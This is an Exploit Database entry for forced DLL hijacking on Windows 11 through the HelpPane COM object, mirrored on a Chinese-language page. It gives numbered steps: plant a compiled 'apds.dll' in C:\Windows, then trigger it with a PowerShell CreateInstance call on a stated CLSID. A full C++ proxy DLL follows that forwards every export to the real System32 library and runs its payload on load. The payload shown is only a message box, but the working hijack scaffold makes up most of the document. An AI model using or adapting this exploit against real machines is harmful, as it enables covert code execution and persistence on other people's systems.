Microsoft Windows 11 – ‘apds.dll’ DLL hijacking (Forced)

• Exploit Database
• 121 阅读

• 作者： Moein Shahabi
  日期： 2023-10-09
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/51733/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231

  #--------------------------------------------------------- # Title: Microsoft Windows 11 - &apos;apds.dll&apos; DLL hijacking (Forced) # Date: 2023-09-01 # Author: Moein Shahabi # Vendor: https://www.microsoft.com # Version: Windows 11 Pro 10.0.22621 # Tested on: Windows 11_x64 [eng]   #---------------------------------------------------------     Description:   HelpPane object allows us to force Windows 11 to DLL hijacking   Instructions:   1. Compile dll 2. Copy newly compiled dll "apds.dll" in the "C:\Windows\" directory 3. Launch cmd and Execute the following command to test HelpPane object "[System.Activator]::CreateInstance([Type]::GetTypeFromCLSID(&apos;8CEC58AE-07A1-11D9-B15E-000D56BFE6EE&apos;))" 4. Boom DLL Hijacked!     ------Code_Poc------- #pragma once #include <Windows.h>       // Function executed when the thread starts extern "C" __declspec(dllexport) DWORD WINAPI MessageBoxThread(LPVOID lpParam) {     MessageBox(NULL, L"DLL Hijacked!", L"DLL Hijacked!", NULL);     return 0; }   PBYTE AllocateUsableMemory(PBYTE baseAddress, DWORD size, DWORD protection = PAGE_READWRITE) { #ifdef _WIN64     PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)baseAddress;     PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)dosHeader + dosHeader->e_lfanew);     PIMAGE_OPTIONAL_HEADER optionalHeader = &ntHeaders->OptionalHeader;       // Create some breathing room     baseAddress = baseAddress + optionalHeader->SizeOfImage;       for (PBYTE offset = baseAddress; offset < baseAddress + MAXDWORD; offset += 1024 * 8) {         PBYTE usuable = (PBYTE)VirtualAlloc(             offset,             size,             MEM_RESERVE | MEM_COMMIT,             protection);           if (usuable) {             ZeroMemory(usuable, size); // Not sure if this is required             return usuable;         }     } #else     // x86 doesn&apos;t matter where we allocate       PBYTE usuable = (PBYTE)VirtualAlloc(         NULL,         size,         MEM_RESERVE | MEM_COMMIT,         protection);       if (usuable) {         ZeroMemory(usuable, size);         return usuable;     } #endif     return 0; }   BOOL ProxyExports(HMODULE ourBase, HMODULE targetBase) { #ifdef _WIN64     BYTE jmpPrefix[] = { 0x48, 0xb8 }; // Mov Rax <Addr>     BYTE jmpSuffix[] = { 0xff, 0xe0 }; // Jmp Rax #else     BYTE jmpPrefix[] = { 0xb8 }; // Mov Eax <Addr>     BYTE jmpSuffix[] = { 0xff, 0xe0 }; // Jmp Eax #endif       PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetBase;     PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)dosHeader + dosHeader->e_lfanew);     PIMAGE_OPTIONAL_HEADER optionalHeader = &ntHeaders->OptionalHeader;     PIMAGE_DATA_DIRECTORY exportDataDirectory = &optionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];     if (exportDataDirectory->Size == 0)         return FALSE; // Nothing to forward       PIMAGE_EXPORT_DIRECTORY targetExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)dosHeader + exportDataDirectory->VirtualAddress);       if (targetExportDirectory->NumberOfFunctions != targetExportDirectory->NumberOfNames)         return FALSE; // TODO: Add support for DLLs with mixed ordinals       dosHeader = (PIMAGE_DOS_HEADER)ourBase;     ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)dosHeader + dosHeader->e_lfanew);     optionalHeader = &ntHeaders->OptionalHeader;     exportDataDirectory = &optionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];     if (exportDataDirectory->Size == 0)         return FALSE; // Our DLL is broken       PIMAGE_EXPORT_DIRECTORY ourExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)dosHeader + exportDataDirectory->VirtualAddress);       // ----------------------------------       // Make current header data RW for redirections     DWORD oldProtect = 0;     if (!VirtualProtect(         ourExportDirectory,         64, PAGE_READWRITE,         &oldProtect)) {         return FALSE;     }       DWORD totalAllocationSize = 0;       // Add the size of jumps     totalAllocationSize += targetExportDirectory->NumberOfFunctions * (sizeof(jmpPrefix) + sizeof(jmpSuffix) + sizeof(LPVOID));       // Add the size of function table     totalAllocationSize += targetExportDirectory->NumberOfFunctions * sizeof(INT);       // Add total size of names     PINT targetAddressOfNames = (PINT)((PBYTE)targetBase + targetExportDirectory->AddressOfNames);     for (DWORD i = 0; i < targetExportDirectory->NumberOfNames; i++)         totalAllocationSize += (DWORD)strlen(((LPCSTR)((PBYTE)targetBase + targetAddressOfNames[i]))) + 1;       // Add size of name table     totalAllocationSize += targetExportDirectory->NumberOfNames * sizeof(INT);       // Add the size of ordinals:     totalAllocationSize += targetExportDirectory->NumberOfFunctions * sizeof(USHORT);       // Allocate usuable memory for rebuilt export data     PBYTE exportData = AllocateUsableMemory((PBYTE)ourBase, totalAllocationSize, PAGE_READWRITE);     if (!exportData)         return FALSE;       PBYTE sideAllocation = exportData; // Used for VirtualProtect later       // Copy Function Table     PINT newFunctionTable = (PINT)exportData;     CopyMemory(newFunctionTable, (PBYTE)targetBase + targetExportDirectory->AddressOfNames, targetExportDirectory->NumberOfFunctions * sizeof(INT));     exportData += targetExportDirectory->NumberOfFunctions * sizeof(INT);     ourExportDirectory->AddressOfFunctions = (DWORD)((PBYTE)newFunctionTable - (PBYTE)ourBase);       // Write JMPs and update RVAs in the new function table     PINT targetAddressOfFunctions = (PINT)((PBYTE)targetBase + targetExportDirectory->AddressOfFunctions);     for (DWORD i = 0; i < targetExportDirectory->NumberOfFunctions; i++) {         newFunctionTable[i] = (DWORD)(exportData - (PBYTE)ourBase);           CopyMemory(exportData, jmpPrefix, sizeof(jmpPrefix));         exportData += sizeof(jmpPrefix);           PBYTE realAddress = (PBYTE)((PBYTE)targetBase + targetAddressOfFunctions[i]);         CopyMemory(exportData, &realAddress, sizeof(LPVOID));         exportData += sizeof(LPVOID);           CopyMemory(exportData, jmpSuffix, sizeof(jmpSuffix));         exportData += sizeof(jmpSuffix);     }       // Copy Name RVA Table     PINT newNameTable = (PINT)exportData;     CopyMemory(newNameTable, (PBYTE)targetBase + targetExportDirectory->AddressOfNames, targetExportDirectory->NumberOfNames * sizeof(DWORD));     exportData += targetExportDirectory->NumberOfNames * sizeof(DWORD);     ourExportDirectory->AddressOfNames = (DWORD)((PBYTE)newNameTable - (PBYTE)ourBase);       // Copy names and apply delta to all the RVAs in the new name table     for (DWORD i = 0; i < targetExportDirectory->NumberOfNames; i++) {         PBYTE realAddress = (PBYTE)((PBYTE)targetBase + targetAddressOfNames[i]);         DWORD length = (DWORD)strlen((LPCSTR)realAddress);         CopyMemory(exportData, realAddress, length);         newNameTable[i] = (DWORD)((PBYTE)exportData - (PBYTE)ourBase);         exportData += length + 1;     }       // Copy Ordinal Table     PINT newOrdinalTable = (PINT)exportData;     CopyMemory(newOrdinalTable, (PBYTE)targetBase + targetExportDirectory->AddressOfNameOrdinals, targetExportDirectory->NumberOfFunctions * sizeof(USHORT));     exportData += targetExportDirectory->NumberOfFunctions * sizeof(USHORT);     ourExportDirectory->AddressOfNameOrdinals = (DWORD)((PBYTE)newOrdinalTable - (PBYTE)ourBase);       // Set our counts straight     ourExportDirectory->NumberOfFunctions = targetExportDirectory->NumberOfFunctions;     ourExportDirectory->NumberOfNames = targetExportDirectory->NumberOfNames;       if (!VirtualProtect(         ourExportDirectory,         64, oldProtect,         &oldProtect)) {         return FALSE;     }       if (!VirtualProtect(         sideAllocation,         totalAllocationSize,         PAGE_EXECUTE_READ,         &oldProtect)) {         return FALSE;     }       return TRUE; } // Executed when the DLL is loaded (traditionally or through reflective injection) BOOL APIENTRY DllMain(HMODULE hModule,     DWORD  ul_reason_for_call,     LPVOID lpReserved ) {     HMODULE realDLL;     switch (ul_reason_for_call)     {     case DLL_PROCESS_ATTACH:         CreateThread(NULL, NULL, MessageBoxThread, NULL, NULL, NULL);         realDLL = LoadLibrary(L"C:\\Windows\\System32\\apds.dll");         if (realDLL)             ProxyExports(hModule, realDLL);         case DLL_THREAD_ATTACH:     case DLL_THREAD_DETACH:     case DLL_PROCESS_DETACH:         break;     }     return TRUE; } --------------------------